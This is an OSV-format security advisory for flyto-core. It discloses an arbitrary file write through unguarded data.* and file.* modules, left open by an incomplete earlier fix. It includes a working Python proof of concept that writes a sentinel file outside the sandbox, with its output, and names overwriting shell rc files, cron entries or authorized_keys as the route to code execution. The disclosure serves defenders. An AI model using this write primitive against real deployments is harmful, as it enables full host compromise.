{"id":"GHSA-p34x-fmph-9fjx","summary":"Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)","details":"# [CRITICAL] Arbitrary file write via unguarded `data.*` / `file.*` write modules — incomplete fix of GHSA-2956\n\n- **CWE:** CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).\n- **CVSS v3.1:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.3 Critical** (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).\n  - AV:N — reachable via the MCP server / recipe engine (`execute_module`). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes `FLYTO_SANDBOX_DIR`. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / `~/.bashrc` / cron / `authorized_keys` → RCE.\n- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7 line). Modules `data.csv.write` (`src/core/modules/atomic/data/csv_write.py`), `data.json_to_csv` (`.../data/json_to_csv.py`), `file.copy` (`.../file/copy.py`), `file.move` (`.../file/move.py`) — and the broader `data.*`/`file.*`/report-writer families that do not call the path guard.\n- **Relationship:** **Incomplete fix of GHSA-2956-977x-2w3r** (Critical arbitrary file write, patched in v2.26.6 by commit `d5f89d7`). That fix routed a hand-picked module list (`image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate`, `document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word`, `browser.pagination` checkpoint) through `validate_path_with_env_config()`. It did **not** cover the `data.*` and `file.*` write families, which still write a client-controlled path with no confinement.\n\n## Reachability (hop-by-hop, guards resolved)\n1. Client invokes a module via the recipe engine / MCP `execute_module` (`src/core/mcp_handler.py`, `mcp_server.py`) — the same surface as GHSA-2956 / CVE-2026-55786.\n2. `data.csv.write` reads `file_path = params.get('file_path')` and `data` (both client-controlled). Its only path check is `if '..' in file_path: raise` — a denylist that does **not** block absolute paths.\n3. It calls `os.makedirs(os.path.dirname(file_path), exist_ok=True)` then `open(file_path, 'w')` and writes `data`. **No call to `validate_path_with_env_config()`** — so `FLYTO_SANDBOX_DIR` confinement is never applied.\n4. `data.json_to_csv` (`output_path`), `file.copy` / `file.move` (`shutil.copy2`/`shutil.move` to `destination`) have **no path check at all**.\n5. An absolute path such as `/home/\u003cuser\u003e/.bashrc`, `/app/src/core/modules/.../\u003cmod\u003e.py`, or a `.flyto` recipe file is written verbatim, outside the sandbox.\n\n**Guard analysis:** the GHSA-2956 enforcement is per-module (e.g. `image/download.py:21` imports and calls `validate_path_with_env_config`). There is **no central path enforcement** in the runtime — `runtime/languages.py`'s `PathTraversalError` guards *plugin entry-point* loading, not module output paths. So a module that omits the per-module call is entirely unconfined.\n\n## Root cause\nThe remediation for GHSA-2956 confined writes by adding a per-module `validate_path_with_env_config()` call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire `data.*` and `file.*` families here — remains an arbitrary-write primitive. `data.csv.write`'s `'..'`-substring check is a denylist that misses absolute paths.\n\n## Impact\nArbitrary file write with attacker-controlled content and path, escaping `FLYTO_SANDBOX_DIR`. Overwriting a Python module under the install dir, a `.flyto` recipe, a shell rc, a crontab, or `~/.ssh/authorized_keys` yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.\n\n## Executable PoC (benign sentinel, local only)\n`FLYTO_SANDBOX_DIR` is set to the intended confinement; the module writes *outside* it while the GHSA-2956 guard rejects the same path.\n\n```python\nimport os, sys, asyncio\nSBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', \"/tmp/flyto_sbx\"); os.makedirs(SBX, exist_ok=True)\nsys.path.insert(0, \"\u003cflyto-core\u003e/src\")\nOUT = \"/tmp/flyto_PWNED_OUTSIDE.csv\"           # absolute, outside the sandbox, no \"..\"\nfrom core.utils import validate_path_with_env_config, PathTraversalError\ntry:\n    validate_path_with_env_config(OUT); print(\"[guard] UNEXPECTED allow\")\nexcept PathTraversalError:\n    print(\"[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)\")\nasync def call(W, p): return await W(p, {}).execute()\nfrom core.modules.atomic.data.csv_write import csv_write\nfrom core.modules.atomic.data.json_to_csv import json_to_csv\nasyncio.run(call(csv_write,  {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))\nasyncio.run(call(json_to_csv,{'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT+'.json.csv'}))\nprint(\"wrote outside sandbox:\", os.path.exists(OUT),\n      \"| inside sandbox?\", os.path.realpath(OUT).startswith(os.path.realpath(SBX)))\n```\n\nObserved output:\n```\n[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path\n[data.csv.write]   wrote=True inside_sandbox=False\n[data.json_to_csv] wrote=True inside_sandbox=False\nBUG CONFIRMED (arbitrary write outside sandbox)\n  sample content: pwn / SENTINEL_CSV\n```\n\n## Adversarial re-read (what I tried to refute it with)\n- **Central path guard?** No — `runtime/languages.py` `PathTraversalError` only guards plugin entry-point loading; the GHSA-2956 fix is per-module (confirmed at `image/download.py:21`). A module without the call is unconfined.\n- **`'..'` check in `csv_write`?** Denylist; absolute paths contain no `..` → bypassed (PoC uses `/tmp/...`). `json_to_csv`/`file.copy`/`file.move` have no check at all.\n- **`required_permissions=['filesystem.write']`?** A capability flag, not a path confinement — the GHSA-2956-guarded modules declare it too and still needed the guard.\n- **Sandbox default?** `FLYTO_SANDBOX_DIR` defaults to cwd (warning only); the PoC sets it explicitly to show the confinement is bypassed even when configured.\n- Result: no concrete blocker. CONFIRMED (incomplete fix).\n\n## Remediation\nEnforce confinement centrally: route every filesystem write through `validate_path_with_env_config()` at the engine/module-base layer (e.g. in the write path of `BaseModule`, or a `filesystem.write`-capability hook), instead of per-module opt-in. As an immediate patch, add the call to `data.csv.write`, `data.json_to_csv`, `file.copy`, `file.move`, and audit every module with `filesystem.write` in `required_permissions`. Replace the `'..'` substring denylist with the canonical `realpath`+`startswith(base)` check already in `validate_path_safe`.\n\n## Confidence\nHigh — executed PoC (benign sentinel) shows two modules writing attacker-controlled content to an absolute path outside `FLYTO_SANDBOX_DIR`, while the GHSA-2956 guard rejects the same path.\n\n\n## Proof-of-Concept source (`poc_arbitrary_write.py`)\n\n```python\n\"\"\"PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956).\nRun: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it.\"\"\"\nimport os, sys, asyncio\nSBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', \"/tmp/home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_sbx\")\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"..\", \"..\", \"..\", \"flyto-core\", \"src\"))\nsys.path.insert(0, \"/home/aoc/CVEs/flyto-core/src\")\nOUT=\"/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_OUTSIDE.csv\"; OUT2=\"/tmp/-home-aoc-CVEs/a257f729-6be4-42cc-a7ec-4342ae8294bf/scratchpad/flyto_PWNED_json.csv\"\nfrom core.utils import validate_path_with_env_config, PathTraversalError\ntry:\n    validate_path_with_env_config(OUT); print(\"[guard] UNEXPECTED allow\")\nexcept PathTraversalError:\n    print(\"[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path\")\nasync def call(W, p): return await W(p, {}).execute()\nfrom core.modules.atomic.data.csv_write import csv_write\nfrom core.modules.atomic.data.json_to_csv import json_to_csv\nr1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]}))\nr2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2}))\nfor tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]:\n    inside = os.path.realpath(out).startswith(os.path.realpath(SBX))\n    print(f\"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -\u003e {out}\")\nok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX))\nprint(\"BUG CONFIRMED (arbitrary write outside sandbox)\" if ok else \"NOT CONFIRMED\")\nprint(\"  sample content:\", open(OUT).read().strip())\n\n```","aliases":["CVE-2026-77312"],"modified":"2026-11-20T00:15:05.454294278Z","published":"2026-11-20T00:09:02Z","related":["CVE-2026-77312"],"database_specific":{"github_reviewed_at":"2026-11-20T00:09:02Z","nvd_published_at":null,"cwe_ids":["CWE-22"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-p34x-fmph-9fjx"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/commit/bbb6f1cfec22fee1ea0e6ecf1129d7103c85e09f"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.8"}],"affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26.8"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.14.2","1.15.0","1.16.0","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.13","1.8.14","1.8.15","1.8.16","1.8.17","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.11.0","2.12.0","2.12.1","2.12.13","2.12.15","2.12.16","2.12.17","2.12.18","2.12.19","2.12.2","2.12.20","2.12.21","2.12.22","2.12.23","2.12.24","2.12.25","2.12.26","2.12.27","2.12.28","2.12.3","2.12.4","2.12.5","2.12.6","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.16.1","2.16.3","2.16.4","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.18.0","2.18.1","2.18.10","2.18.11","2.18.2","2.18.3","2.18.4","2.18.5","2.18.6","2.18.8","2.18.9","2.19.0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.1","2.20.2","2.20.3","2.20.4","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.24.3","2.24.4","2.25.0","2.25.1","2.25.10","2.25.11","2.25.12","2.25.13","2.25.14","2.25.15","2.25.16","2.25.17","2.25.18","2.25.19","2.25.2","2.25.20","2.25.21","2.25.22","2.25.23","2.25.24","2.25.25","2.25.26","2.25.27","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.26.7","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.5.0","2.5.1","2.5.2","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.8.0","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p34x-fmph-9fjx/GHSA-p34x-fmph-9fjx.json","last_known_affected_version_range":"\u003c= 2.26.7"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H"}]}